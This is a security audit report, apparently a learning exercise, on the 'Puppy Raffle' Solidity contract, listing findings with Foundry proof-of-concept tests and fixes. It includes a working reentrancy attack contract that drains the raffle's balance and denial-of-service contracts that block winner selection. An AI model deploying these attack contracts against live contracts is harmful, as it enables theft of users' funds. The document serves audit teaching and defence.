Puppy Raffle Initial Audit Report

Version 0.1

Cyfrin.io

April 21, 2024

Puppy Raffle Audit Report

Kostiantyn Osadchii

April 21, 2024

Puppy Raffle Audit Report

Prepared by: YOUR_NAME_HERE Lead Auditors:

- Kostiantyn Osadchii

Assisting Auditors:

- None

Table of contents

See table

    - Issues found

- Findings
    - High
        * [H-1] Reentrancy attack in `PuppyRaffle::refund` allows entrant to steal all money from raffle.
        * [H-2] Weak randomness in `PuppyRaffle::selectWinner` allows users to influence or predict the winner and influence or predict the winning puppy.
        * [H-3] Integer overflow of `PuppyRaffle::totalFees` looses fees.
        * [H-4] Incorrect calculation of `totalAmountCollected` in `PuppyRaffle::selectWinner` function after using `PuppyRaffle::refund`
    - Medium
        * [M-1] Looping through players array to check for duplicates in `PuppyRaffle::enterRaffle()` function is a potential denial of service (DoS) attack, incrementing gas costs for future entrants.
        * [M-2] Unsafe cast of `PuppyRaffle::fee` loses fees
        * [M-3] Smart contract wallets raffle winners without a `receive` or a `fallback` function will block the start of the new contest
    - Low
        * [L-1] `PuppyRaffle::getActivePlayerIndex` return 0 for non-existing players and for player at index 0, causing the player at index 0 to incorrectly think he is not active.
    - Gas
        * [G-1] Unchanged state variables should be constant or immutable.
        * [G-2] Storage variables in loop should be cached
    - Informational
        * [I-1] Solidity pragma should be specific, not wide
        * [I-2] Using an outdated version of solidity is not recommended.
        * [I-3] Missing checks for `address(0)` when assigning values to address state variables
        * [I-4] `PuppyRaffle::selectWinner` does not follow CEI, which is not best practice.
        * [I-5] Use of "magic" numbers is discouraged.
        * [I-6] _isActivePlayer is never used and should be removed

About Kostiantyn Osadchii

Enthusiastic and detail-oriented Junior Solidity Developer with a strong foundation in blockchain technology and smart contract development. Proficient in writing secure and efficient code using Solidity for decentralized applications. Excited to contribute innovative solutions and leverage emerging technologies to drive success in a dynamic development environment

Disclaimer

The Kostiantyn Osadchii team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

Audit Details

The findings described in this document correspond the following commit hash:

```
22bbbb2c47f3f2b78c1b134590baf41383fd354f
```

Scope

```
./src/
-- PuppyRaffle.sol
```

Protocol Summary

Puppy Rafle is a protocol dedicated to raffling off puppy NFTs with variying rarities. A portion of entrance fees go to the winner, and a fee is taken by another address decided by the protocol owner.

Roles

- Owner: The only one who can change the `feeAddress`, denominated by the `_owner` variable.
- Fee User: The user who takes a cut of raffle entrance fees. Denominated by the `feeAddress` variable.
- Raffle Entrant: Anyone who enters the raffle. Denominated by being in the `players` array.

Executive Summary

Issues found

Severity	Number of issues found
High	4
Medium	3
Low	1
Info	8
Total	16

Findings

High

[H-1] Reentrancy attack in `PuppyRaffle::refund` allows entrant to steal all money from raffle.

Description: The `PuppyRaffle::refund` function does not follow CEI (Checks, Effects, Interactions) and as a result, allows participants to drain the contract balance.

In the `PuppyRaffle::refund` function, we first make an external call to the `msg.sender` address and only after making that external call we update the `PuppyRaffle::players` array.

```
function refund(uint256 playerIndex) public {
        address playerAddress = players[playerIndex];
        require(
            playerAddress == msg.sender,
            "PuppyRaffle: Only the player can refund"
        );
        require(
            playerAddress != address(0),
            "PuppyRaffle: Player already refunded, or is not active"
        );

@>      payable(msg.sender).sendValue(entranceFee);
@>      players[playerIndex] = address(0);

        emit RaffleRefunded(playerAddress);
    }
```

A player who has entered the raffle could have a `receive`/`fallback` function that calls the `PuppyRaffle::refund` function again and claim another refund. They could continue the cycle until the contract balance is drained.

Impact: All fees paid by raffle entrants could be stolen by malicious participant.

Proof of Concept: 1. Users enters the raffle. 2. Attacker sets up a contract with a `fallback` function calling '`PuppyRaffle::refund`. 3. Attacker enters the raffle. 4. Attacker calls `PuppyRaffle::refund` from their contract, draining the raffle balance.

Proof of Code:

Code

Place the following in `PuppyRaffleTest.t.sol`

```
function testRefundCanBeUsedForReentrancyAttack() public {
        address[] memory players = new address[](4);
        players[0] = playerOne;
        players[1] = playerTwo;
        players[2] = playerThree;
        players[3] = playerFour;
        puppyRaffle.enterRaffle{value: entranceFee * 4}(players);
        ReentrancyAttack attacker = new ReentrancyAttack(puppyRaffle);
        uint256 raffleBalanceBefore = address(puppyRaffle).balance;
        console.log("Raffle balance before attack: ",
            raffleBalanceBefore);
        vm.deal(address(attacker), entranceFee);
        attacker.attack();
        uint256 raffleBalanceAfter = address(puppyRaffle).balance;
```

```
        console.log("Raffle balance after attack: ", raffleBalanceAfter);
        assertEq(raffleBalanceAfter, 0);
    }
```

And this contract as well.

```
contract ReentrancyAttack {
    PuppyRaffle puppyRaffle;
    uint256 entranceFee;
    uint256 indexOfPlayer;

    constructor(PuppyRaffle _puppyRaffle) {
        puppyRaffle = _puppyRaffle;
        entranceFee = puppyRaffle.entranceFee();
    }

    function attack() public {
        address[] memory players = new address[](1);
        players[0] = address(this);
        puppyRaffle.enterRaffle{value: entranceFee}(players);
        indexOfPlayer = puppyRaffle.getActivePlayerIndex(address(this));
        puppyRaffle.refund(indexOfPlayer);
    }

    fallback() external payable {
        if (address(puppyRaffle).balance >= entranceFee) {
            puppyRaffle.refund(indexOfPlayer);
        }
    }
}
```

Recommended Mitigation: To prevent this, we should have the `PuppyRaffle::refund` function update the `players` array before making the external call. Additionally, we should move the event emission up as well.

```
function refund(uint256 playerIndex) public {
        address playerAddress = players[playerIndex];
        require(
            playerAddress == msg.sender,
            "PuppyRaffle: Only the player can refund"
        );
        require(
            playerAddress != address(0),
            "PuppyRaffle: Player already refunded, or is not active"
        );

+       players[playerIndex] = address(0);
+       emit RaffleRefunded(playerAddress);
```

```diff

          payable(msg.sender).sendValue(entranceFee);

-         players[playerIndex] = address(0);
-         emit RaffleRefunded(playerAddress);
      }
```

[H-2] Weak randomness in `PuppyRaffle::selectWinner` allows users to influence or predict the winner and influence or predict the winning puppy.

Description: Hashing `msg.sender`, `block.timestamp` and `block.difficulty` together creates a predictable number, that is not a good random number. Malicious users can manipulate this values or know them ahead of time to choose the winner of the raffle themselves.

Impact: Any user can influence the winner of the raffle, winning the money and selecting the rarest puppy. Making the entire raffle worthless if it becomes a gas war as to who wins the raffle.

Proof of Concept: There are a few attack vectors here.

1. Validators can know ahead of time the `block.timestamp` and `block.difficulty` and use that knowledge to predict when / how to participate. See the solidity blog on prevrando here. `block.difficulty` was recently replaced with `prevrandao`.
2. Users can manipulate the `msg.sender` value to result in their index being the winner.

Using on-chain values as a randomness seed is a well-known attack vector in the blockchain space.

Recommended Mitigation: Consider using a cryptographically provable random number generator such as Chainlink VRF.

[H-3] Integer overflow of `PuppyRaffle::totalFees` looses fees.

Description: In solidity versions prior to `0.8.0` integers was subject to integers overflow.

```
uint64 myVar = type(uint64).max;
// myVar will be 18446744073709551615
myVar = myVar + 1;
// myVar will be 0
```

Impact: In `PuppyRaffle::selectWinner`, `totalFees` are accumulated for the `feeAddress` to collect later in `PuppyRaffle:withdrawFees`. However, if the `totalFees` variable overflows, the `feeAddress` may not collect the correct amount of fees, loosing a lot of money and leaving them permanently stuck in contract.

Proof of Concept: 1. We first conclude a raffle of 50 players to collect some fees. 2. We then have 50 additional players enter a new raffle, and we conclude that raffle as well. 3. `totalFees` will be:

```
totalFees = totalFees + uint64(fee);
// substituted
totalFees = 800000000000000000 + 17800000000000000000;
// due to overflow, the following is now the case
totalFees = 153255926290448384;
```

4. You will now not be able to withdraw, due to this line in `PuppyRaffle::withdrawFees`:

```
require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!");
```

Although you could use `selfdestruct` to send ETH to this contract in order for the values to match and withdraw the fees, this is clearly not the intended design of the protocol. At some point, there will be too much `balance` in the contract that the above `require` will be impossible to hit.

Code

```
function testSelectWinnerCausesOverflow() public {
        uint256 numberOfPlayers = 50;
        address[] memory players = new address[](numberOfPlayers);
        for (uint256 i = 0; i < numberOfPlayers; i++) {
            players[i] = address(i);
        }

        puppyRaffle.enterRaffle{value: entranceFee * numberOfPlayers}(players);
        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);
        puppyRaffle.selectWinner();
        uint256 expectedTotalFeesAfterFirst50Players = ((entranceFee *
            numberOfPlayers) * 20) / 100;
        uint64 actualTotalFeesAfterFirst50Players = puppyRaffle.totalFees();
        console.log(
            "Expected total fees after finishing first raffle with 50 players: ",
            expectedTotalFeesAfterFirst50Players
        );
        console.log(
            "Actual total fees after finishing first raffle with 50 players: ",
            actualTotalFeesAfterFirst50Players
        );

        players = new address[](numberOfPlayers);
        for (uint256 i = 0; i < numberOfPlayers; i++) {
            players[i] = address(i + numberOfPlayers);
```

```
        }

        puppyRaffle.enterRaffle{value: entranceFee * numberOfPlayers}(
            players);
        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);
        puppyRaffle.selectWinner();
        uint256 expectedTotalFeesAfterSecond50Players = ((entranceFee *
            numberOfPlayers) * 20) /
            100 +
            expectedTotalFeesAfterFirst50Players;
        uint64 actualTotalFeesAfterSecond50Players = puppyRaffle.
            totalFees();
        console.log(
            "Expected total fees after finishing second raffle with 50
                players: ",
            expectedTotalFeesAfterSecond50Players
        );
        console.log(
            "Actual total fees after finishing second raffle with 50
                players: ",
            actualTotalFeesAfterSecond50Players
        );
        assert(
            expectedTotalFeesAfterSecond50Players !=
                actualTotalFeesAfterSecond50Players
        );
    }
```

Recommended Mitigation: There are a few possible mitigations.

1. Use a newer version of solidity, and a `uint256` instead of `uint64` for `PuppyRaffle::totalFees`
2. You could also use `SafeMath` library of OpenZeppelin for version 0.7.6 of solidity, however you would still have a hard time with `uint64` type if too many fees are collected.
3. Remove the balance check from `PuppyRaffle::withdrawFees`

```
- require(address(this).balance == uint256(totalFees), "PuppyRaffle:
    There are currently players active!");
```

There are more attack vectors with that final require, so we recommend removing it regardless.

[H-4] Incorrect calculation of `totalAmountCollected` in `PuppyRaffle::selectWinner` function after using `PuppyRaffle::refund`

Description: When users utilize the `PuppyRaffle::refund` function, their `index` in `PuppyRaffle::players` array becomes `address(0)`, so it disrupts the calculation of totalAmountCollected in the PuppyRaffle::selectWinner function. This discrepancy can result in an inaccurate prizePool distribution or, in severe cases, contract failure due to an imbalance between totalAmountCollected and the contract's balance.

Impact: The incorrect calculation of totalAmountCollected can lead to financial losses for participants, as the prizePool may be inflated, resulting in excessive payouts to winners. Furthermore, if the contract balance becomes insufficient to cover the designated payouts, the contract may become non-functional, jeopardizing the integrity of the raffle system.

Proof of Concept: 1. 6 users enters Raffle. 2. 2 users making refund using PuppyRaffle::refund 3. When trying to run PuppyRaffle::selectWinner it reverts.

Add following test to PuppyRaffleTest.t.sol

Code

```
function testSelectWinnerRevertsIfSomePlayersRefunded() public {
        address[] memory players = new address[](6);
        players[0] = playerOne;
        players[1] = playerTwo;
        players[2] = playerThree;
        players[3] = playerFour;
        players[4] = address(5);
        players[5] = address(6);

        puppyRaffle.enterRaffle{value: entranceFee * 6}(players);
        uint256 indexOfPlayer = puppyRaffle.getActivePlayerIndex(
            playerTwo);
        vm.prank(playerTwo);
        puppyRaffle.refund(indexOfPlayer);

        indexOfPlayer = puppyRaffle.getActivePlayerIndex(playerThree);
        vm.prank(playerThree);
        puppyRaffle.refund(indexOfPlayer);

        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);

        vm.expectRevert();
        puppyRaffle.selectWinner();
    }
```

Recommended Mitigation:

1. You can add playersCounter variable and using instead of players.length in PuppyRaffle::selectWinner function, it will solve the issue with totalAmountCollected calculation, but still there could be revert if deleted player will win with address(0). 2. Use the "Swap and Pop" Technique instead of assigning to address(0)

```
    function refund(uint256 playerIndex) public {
+        require(playerIndex<players.length);
        address playerAddress = players[playerIndex];
        require(
            playerAddress == msg.sender,
            "PuppyRaffle: Only the player can refund"
        );
        require(
            playerAddress != address(0),
            "PuppyRaffle: Player already refunded, or is not active"
        );
        payable(msg.sender).sendValue(entranceFee);
+        players[playerIndex] = players[players.length - 1]
+        players.pop();
-        players[playerIndex] = address(0);
        emit RaffleRefunded(playerAddress);
   }
```

3. Alternatively, you could use OpenZeppelin's EnumerableSet library. ## Medium

[M-1] Looping through players array to check for duplicates in `PuppyRaffle::enterRaffle()` function is a potential denial of service (DoS) attack, incrementing gas costs for future entrants.

Description: The `PuppyRaffle::enterRaffle()` function ps through the `players` array to check for duplicates. So the longer array is, the more checks the new player will have to do, and more gas will need to pay. Every additional address in the `players` array, is an additional check the loop will have to make.

```
        //report written DoS Attack
  @>    for (uint256 i = 0; i < players.length - 1; i++) {
            for (uint256 j = i + 1; j < players.length; j++) {
                require(
                    players[i] != players[j],
                    "PuppyRaffle: Duplicate player"
                );
            }
        }
```

Impact: The gas cost for raffle entrants will greatly crease as more players enter the raffle. Discouraging new users from entering and causing a rush at the start, because it will be cheaper.

An attacker might make the `PuppyRaffle::players` array so big, that no one else enters, guaranteeing him to win.

Proof of Concept: If we have 2 sets of 100 players enters, the gas cost will be as such - 1st 100 : ~6252128 - 2st 100 : ~18068211 This is almost 3 times more expensive than first 100 players!

PoC

ace the following test into `PuppyRaffleTest.t.sol`.

```
function testEnterRaffleWithMultiplePlayersCausesDoS() public {
        address[] memory players = new address[](100);
        for (uint256 i = 0; i < 100; i++) {
            players[i] = address(i);
        }

        uint256 gasBefore = gasleft();
        puppyRaffle.enterRaffle{value: entranceFee * players.length}(
            players);
        uint256 gasUsedAfterFirst100PlayersEntered = gasBefore -
            gasleft();
        address[] memory players2 = new address[](100);
        for (uint256 i = 0; i < 100; i++) {
            players2[i] = address(i + 100);
        }
        gasBefore = gasleft();
        puppyRaffle.enterRaffle{value: entranceFee * players.length}(
            players2);
        uint256 gasUsedAftersSecond100PlayersEntered = gasBefore -
            gasleft();

        console.log(
            "Gas used after first 100 players entered: ",
            gasUsedAfterFirst100PlayersEntered
        );
        console.log(
            "Gas used after second 100 players entered: ",
            gasUsedAftersSecond100PlayersEntered
        );
        assert(
            gasUsedAftersSecond100PlayersEntered >
                gasUsedAfterFirst100PlayersEntered
        );
    }
```

Recommended Mitigation: There are a few recommended mitigations.

1. Consider allowing duplicates. Users can make new wallet addresses anyways, so a duplicate check doesn't prevent the same person from entering multiple times, only the same wallet address.
2. Consider using a mapping to check duplicates. This would allow you to check for duplicates without extra loop. Each player will be marked true after entering raffle.

```
+     mapping(uint256 => mapping(address => bool)) public
    addressToAlreadyEntered;
```

```diff
+    uint256 raffleId = 0;

     .
     .
     .
     function enterRaffle(address[] memory newPlayers) public payable {
         require(msg.value == entranceFee * newPlayers.length, "PuppyRaffle: Must send enough to enter raffle");
         for (uint256 i = 0; i < newPlayers.length; i++) {
+            // Check for duplicates
+            require(!addressToAlreadyEntered[raffleId][newPlayers[i]], "PuppyRaffle: Duplicate player");
+            addressToAlreadyEntered[raffleId][newPlayers[i]] = true;
             players.push(newPlayers[i]);
         }

-         // Check for duplicates
-         for (uint256 i = 0; i < players.length; i++) {
-             for (uint256 j = i + 1; j < players.length; j++) {
-                 require(players[i] != players[j], "PuppyRaffle: Duplicate player");
-             }
-         }
         emit RaffleEnter(newPlayers);
     }

     function selectWinner() external {
+        raffleId = raffleId + 1;
         require(block.timestamp >= raffleStartTime + raffleDuration, "PuppyRaffle: Raffle not over");

     function refund(uint256 playerIndex) public {
         address playerAddress = players[playerIndex];
+        addressToAlreadyEntered[raffleId][playerAddress] = false;
```

3. Alternatively, you could use OpenZeppelin's EnumerableSet library.

[M-2] Unsafe cast of `PuppyRaffle::fee` loses fees

Description: In `PuppyRaffle::selectWinner` their is a type cast of a `uint256` to a `uint64`. This is an unsafe cast, and if the `uint256` is larger than `type(uint64).max`, the value will be truncated.

```
    function selectWinner() external {
        require(block.timestamp >= raffleStartTime + raffleDuration, "PuppyRaffle: Raffle not over");
        require(players.length > 0, "PuppyRaffle: No players in raffle");
```

```

        uint256 winnerIndex = uint256(keccak256(abi.encodePacked(msg.
           sender, block.timestamp, block.difficulty))) % players.
           length;
        address winner = players[winnerIndex];
        uint256 fee = totalFees / 10;
        uint256 winnings = address(this).balance - fee;
@>      totalFees = totalFees + uint64(fee);
        players = new address[](0);
        emit RaffleWinner(winner, winnings);
    }
```

The max value of a `uint64` is `18446744073709551615`. In terms of ETH, this is only ~`18` ETH. Meaning, if more than 18ETH of fees are collected, the `fee` casting will truncate the value.

Impact: This means the `feeAddress` will not collect the correct amount of fees, leaving fees permanently stuck in the contract.

Proof of Concept:

1. A raffle proceeds with a little more than 18 ETH worth of fees collected
2. The line that casts the `fee` as a `uint64` hits
3. `totalFees` is incorrectly updated with a lower amount

You can replicate this in foundry's chisel by running the following:

```
uint256 max = type(uint64).max
uint256 fee = max + 1
uint64(fee)
// prints 0
```

Or you can run this test to see how it affects raffle contract

Code

```
function testSelectWinnerCausesWrongCastFromUint256ToUint64() public {
        uint256 numberOfPlayers = 100;
        address[] memory players = new address[](numberOfPlayers);
        for (uint256 i = 0; i < numberOfPlayers; i++) {
            players[i] = address(i);
        }

        puppyRaffle.enterRaffle{value: entranceFee * numberOfPlayers}(
           players);
        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);
        puppyRaffle.selectWinner();
        uint256 expectedTotalFees = ((entranceFee * numberOfPlayers) *
           20) /
            100;
```

```
        uint64 actualTotalFees = puppyRaffle.totalFees();

        console.log("Expected total fees: ", expectedTotalFees);
        console.log("Actual total fees: ", actualTotalFees);
        assert(expectedTotalFees != actualTotalFees);
    }
```

Recommended Mitigation: Set `PuppyRaffle::totalFees` to a `uint256` instead of a `uint64`, and remove the casting. Their is a comment which says:

```
// We do some storage packing to save gas
```

But the potential gas saved isn't worth it if we have to recast and this bug exists.

```
-   uint64 public totalFees = 0;
+   uint256 public totalFees = 0;
.
.
.
    function selectWinner() external {
        require(block.timestamp >= raffleStartTime + raffleDuration, "PuppyRaffle: Raffle not over");
        require(players.length >= 4, "PuppyRaffle: Need at least 4 players");
        uint256 winnerIndex =
            uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp, block.difficulty))) % players.length;
        address winner = players[winnerIndex];
        uint256 totalAmountCollected = players.length * entranceFee;
        uint256 prizePool = (totalAmountCollected * 80) / 100;
        uint256 fee = (totalAmountCollected * 20) / 100;
-       totalFees = totalFees + uint64(fee);
+       totalFees = totalFees + fee;
```

[M-3] Smart contract wallets raffle winners without a `receive` or a `fallback` function will block the start of the new contest

Description: Once the winner is chosen, the `selectWinner` function sends the prize to the the corresponding address with an external call to the winner account.

```
(bool success,) = winner.call{value: prizePool}("");
require(success, "PuppyRaffle: Failed to send prize pool to winner");
```

If the `winner` account were a smart contract that did not implement a payable `fallback` or `receive` function, or these functions were included but reverted, the external call above would fail, and execution of the `selectWinner` function would halt.

There's another attack vector that can be used to halt the raffle, leveraging the fact that the `selectWinner` function mints an NFT to the winner using the `_safeMint` function. This function, inherited from the `ERC721` contract, attempts to call the `onERC721Received` hook on the receiver if it is a smart contract. Reverting when the contract does not implement such function.

Therefore, an attacker can register a smart contract in the raffle that does not implement the `onERC721Received` hook expected. This will prevent minting the NFT and will revert the call to `selectWinner`.

Users could easily call the `selectWinner` function again and non-wallet entrants could enter, but it could cost a lot due to the duplicate check and a lottery reset could be very challenging.

Impact: The `PuppyRaffle::selectWinner` function could revert many times, making a lottery reset difficult.

Also, true winners would not get paid out and someone else could take their money.

Proof of Concept: Place the following test into `PuppyRaffleTest.t.sol`.

```
function testSelectWinnerDoS() public {
    vm.warp(block.timestamp + duration + 1);
    vm.roll(block.number + 1);

    address[] memory players = new address[](4);
    players[0] = address(new AttackerContract());
    players[1] = address(new AttackerContract());
    players[2] = address(new AttackerContract());
    players[3] = address(new AttackerContract());
    puppyRaffle.enterRaffle{value: entranceFee * 4}(players);

    vm.expectRevert();
    puppyRaffle.selectWinner();
}
```

For example, the `AttackerContract` can be this:

```
contract AttackerContract {
    // Implements a `receive` function that always reverts
    receive() external payable {
        revert();
    }
}
```

Or this:

```
contract AttackerContract {
    // Implements a `receive` function to receive prize, but does not
       implement `onERC721Received` hook to receive the NFT.
    receive() external payable {}
```

```
}
```

Recommended Mitigation: Create a mapping of address -> payout amounts so winners can pull their funds out themselves with a new `claimPrize` function, putting the owness on the winner to claim their prize.

> Pull over Push

Low

[L-1] `PuppyRaffle::getActivePlayerIndex` return 0 for non-existing players and for player at index 0, causing the player at index 0 to incorrectly think he is not active.

Description: If a player s in the `PuppyRaffle::players` array at index 0, this will return 0, but according to natspec, it will also return 0 if the player is not in the array.

```
    /// @return the index of the player in the array, if they are not
        active, it returns 0
    function getActivePlayerIndex(
        address player
    ) external view returns (uint256) {
        for (uint256 i = 0; i < players.length; i++) {
            if (players[i] == player) {
                return i;
            }
        }
@>      return 0;
    }
```

Impact: A player at index 0 to incorrectly think he have not entered raffle, and attempt to enter raffle again, wasting gas.

Proof of Concept: 1. User enters the raffle, being the first entrant. 2. `PuppyRaffle::getActivePlayerIndex` returns 0. 3. User thinks he has not entered correctly due to the function documentation.

Recommended Mitigation: The easiest recommendation would be revert if the player is not in the array instead of returning 0.

Or you can return an `int256` when the function returns -1 if the player is not entered.

Gas

[G-1] Unchanged state variables should be constant or immutable.

Reading from storage is much more expensive then from a constant or immutable variables.

Instances: -`PuppyRaffle::raffleDuration` should be `immutable`. -`PuppyRaffle::commonImageUri` should be `constant`. -`PuppyRaffle::rareImageUri` should be `constant`. -`PuppyRaffle::legendaryImageUri` should be `constant`.

[G-2] Storage variables in loop should be cached

Calling `players.length` from storage is more expensive than calling cached `playerLength` from memory

```
+        uint256 playerLength = players.length
+        for (uint256 i = 0; i < playerLength - 1; i++) {
-        for (uint256 i = 0; i < players.length - 1; i++) {
+                for (uint256 j = i + 1; j < playerLength; j++) {
-                for (uint256 j = i + 1; j < players.length; j++) {
                    require(
                        players[i] != players[j],
                        "PuppyRaffle: Duplicate player"
                    );
                }
        }
```

Informational

[I-1] Solidity pragma should be specific, not wide

Consider using a specific version of Solidity in your contracts instead of a wide version. For example, instead of `pragma solidity ^0.8.0;`, use `pragma solidity 0.8.0;`

- Found in src/PuppyRaffle.sol Line: 2

  ```
  pragma solidity ^0.7.6;
  ```

[I-2] Using an outdated version of solidity is not recommended.

`solc` frequently releases new compiler versions. Using an old version prevents access to new Solidity security checks. We also recommend avoiding complex pragma statement.

Recommendation: Deploy with a recent version of Solidity (at least `0.8.0`) with no known severe issues.

Use a simple pragma version that allows any of these versions. Consider using the latest version of Solidity for testing.

[I-3] Missing checks for `address(0)` when assigning values to address state variables

Check for `address(0)` when assigning values to address state variables.

- Found in src/PuppyRaffle.sol Line: 62

```
        feeAddress = _feeAddress;
```

- Found in src/PuppyRaffle.sol Line: 168

```
        feeAddress = newFeeAddress;
```

[I-4] `PuppyRaffle::selectWinner` does not follow CEI, which is not best practice.

```
-        (bool success, ) = winner.call{value: prizePool}("");
-        require(success, "PuppyRaffle: Failed to send prize pool to winner");
         _safeMint(winner, tokenId);
+        (bool success, ) = winner.call{value: prizePool}("");
+        require(success, "PuppyRaffle: Failed to send prize pool to winner");
```

[I-5] Use of "magic" numbers is discouraged.

It can be confusing o see number literals in a codebase, and it's much more readable if the numbers are given a name.

Recommended Mitigation: Replace all magic numbers with constants.

```
+        uint256 public constant PRIZE_POOL_PERCENTAGE = 80;
+        uint256 public constant FEE_PERCENTAGE = 20;
+        uint256 public constant TOTAL_PERCENTAGE = 100;
.
.
.
-         uint256 prizePool = (totalAmountCollected * 80) / 100;
-         uint256 fee = (totalAmountCollected * 20) / 100;
```

```
+        uint256 prizePool = (totalAmountCollected *
    PRIZE_POOL_PERCENTAGE) / TOTAL_PERCENTAGE;
+        uint256 fee = (totalAmountCollected * FEE_PERCENTAGE) /
    TOTAL_PERCENTAGE;
```

[I-6] _isActivePlayer is never used and should be removed

Description: The function `PuppyRaffle::_isActivePlayer` is never used and should be removed.

```
-    function _isActivePlayer() internal view returns (bool) {
-        for (uint256 i = 0; i < players.length; i++) {
-            if (players[i] == msg.sender) {
-                return true;
-            }
-        }
-        return false;
-    }
```